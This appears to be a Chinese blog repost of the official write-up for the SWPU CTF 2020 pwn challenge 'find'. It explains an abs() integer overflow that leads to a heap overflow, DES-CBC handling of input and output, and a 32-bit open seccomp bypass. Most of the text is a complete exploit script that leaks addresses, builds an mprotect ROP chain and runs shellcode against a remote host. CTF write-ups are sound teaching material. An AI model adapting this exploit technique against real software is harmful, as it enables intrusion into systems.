find

发表于 2021-03-05 更新于 2021-03-15 分类于 Challenge， 2020， SWPU CTF 2020， Pwn
Challenge | 2020 | SWPU CTF 2020 | Pwn | find

点击此处获得更好的阅读体验

WriteUp来源

官方WP

题目描述

题目考点

解题思路

漏洞点利用了abs()函数本身存在的漏洞缺陷，当输入的是0x80000000的时候，会导致整数溢出，进而导致堆溢出。

考察了加解密知识，对于输入输出进行了DES_CBC加解密转换，需要掌握des_CBC加解密方法才能正常获取输入输出。

设置了seccomp限制了system execve函数的利用，也就是说劫持got表的方式不可用，并且禁用了open函数，

对于seccomp函数理解不深刻pwn手来说，便以为不能利用open read wirte 的shellcode来读取shellcode了。

但其实我只是禁用了64位的open函数，32位的open函数仍可以利用，因此我们写32位的shellcode利用open read write来读取flag。

具体方式就是劫持stack,利用rop链执行mprotect函数赋予执行权限，然后跳转到shellcode执行shellcode。

```
from PwnContext import *
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
from pyDes import *
from binascii import b2a_hex, a2b_hex
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'info'
# functions for quick script
s       = lambda data               :ctx.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))
sl      = lambda data               :ctx.sendline(str(data))
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
ctx.binary = './pwn'
ctx.remote = ("62.234.32.102", 10000)
def add(idx,size):
sla('ice',0)
sla('where would you like to put',idx)
sla('how long do your want to input',size)

def delete(idx):
sla('ice',1)
sla('which one do you want to delete',idx)

def show(idx):
sla('ice',2)
sla('which one do you want to show',idx)
ru('is :\n')

def edit(idx,content):
sla('ice',3)
sla('which one do you want to change',idx)
```

```
46 sa('now you can change your diary',content)
47
48 def change(idx,content):
49 sla('ice',4)
50 sa('index',idx)
51 sa('IV',content)
52
53 def read_shellcode():
54 ascii = ""
55 with open('shellcode','r') as f:
56 data = f.readlines()
57 data = data[0]
58 data = str(data)[1:-2]
59 odom = data.split(',')
60 ascii = map(int,odom)
61 #return ascii
62 x86_shellcode = ""
63 for i in range(len(ascii)):
64 x86_shellcode += chr(ascii[i])
65 return x86_shellcode
66 def decrypto_data(data):
67 with open('cipher','w') as f:
68 f.write(data)
69 payload = './cbc '
70 os.system(payload)
71 sleep(1)
72 cleartext = ""
73 with open('plain','r') as f:
74 cleartext = f.read(8)
75 return cleartext
76 def lg(s,addr):
77 print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
78
79 rs('remote')
80 KEY = "\0\0\0\0\0\0\0\0"
81 IV = "\0\0\0\0\0\0\0\0"
82 k = des(KEY, CBC, IV, pad=None, padmode=PAD_PKCS5)
83
84 ru('gift :')
85 heap_leak = int(r(4),16)
86
87 #leak libc
88 add(0,0x38)
89 add(1,0x38)
90 add(2,0x38)
91 add(3,0x38)
92 add(4,0x38)
93 add(15,0x38)
94 change(0x80000000,'\x00'+chr(heap_leak+1)+'\n')
95 edit(15,p64(0xc1)*2+'\n')
96 delete(0)
97 add(5,0x38)
98 show(1)
99 data = decrypto_data(r(8))
100 libc = uu64(data[:6])
101 #print hexdump(data)
102 libc_base = libc - 0x3c4be8
103 #dbg()
104 print 'libc_base = ' + hex(libc_base)
105 #leak stack
106 environ = libc_base + 0x3c6f38
107 print 'environ = ' + hex(environ)
108 change(0x80000000,p64(environ)+'\n')
109 #dbg()
110 show(15)
111 data = decrypto_data(r(8))
112 stack = uu64(data[:6])
113 main_ret = stack - 0xf0
114 print 'main_ret : ' + hex(main_ret)
115 libc_leak_heap = libc_base + 0x3c4b80
116
117 #leak heap
118 change(0x80000000,p64(libc_leak_heap)+'\n')
119 #dbg()
120 show(15)
121 data = decrypto_data(r(8))
122 heap_base = uu64(data[:4]) - 0x140
123
124 print 'heap_base : ' + hex(heap_base)
125 lg('heap_base',heap_base)
126 #raw_input()
```

```
127
128 #get shell
129 #dbg()
130 edit(4,'./flag/asdad/wer/po/tr/flag\n')
131 # edit(4, './flag.txt\n')
132 payload = 'python shellcode.py '+str(heap_base)
133 os.system(payload)
134 shellcode = read_shellcode()
135 pop_rdx = libc_base + 0x1b92
136 pop_rsi = libc_base + 0x202f8
137 pop_rdi = 0x021112 + libc_base
138 mprotect = 0x101830 + libc_base
139 change(0x80000000,p64(main_ret)+'\n')
140 payload = p64(pop_rdi) + p64(heap_base) + p64(pop_rsi)  + p64(0x1000) + p64(pop_rdx) + p64(7) + p64(mprotect)
141 edit(15,payload)
142 change(0x80000000,p64(main_ret+0x38)+'\n')
143 edit(15,p64(heap_base+0x150)+'\n')
144 #dbg()
145 edit(1,shellcode[:0x20]+'\n')
146 change(0x80000000,p64(heap_base+0x170)+'\n')
147 #dbg()
148 edit(15,shellcode[0x20:]+'\n')
149 #dbg()
150 sla('ice',5)
151 irt()
```

还有一个点是flag的位置，如果直接执行cat flag拿到的是假flag，需要自己探测flag目录。 shellcode，DES_CBC加解密，查找flag的脚本【也可以手动】就不放了 自己尝试。

 # Challenge # 2020 # Pwn # SWPU CTF 2020
sqlsqlsql
shellco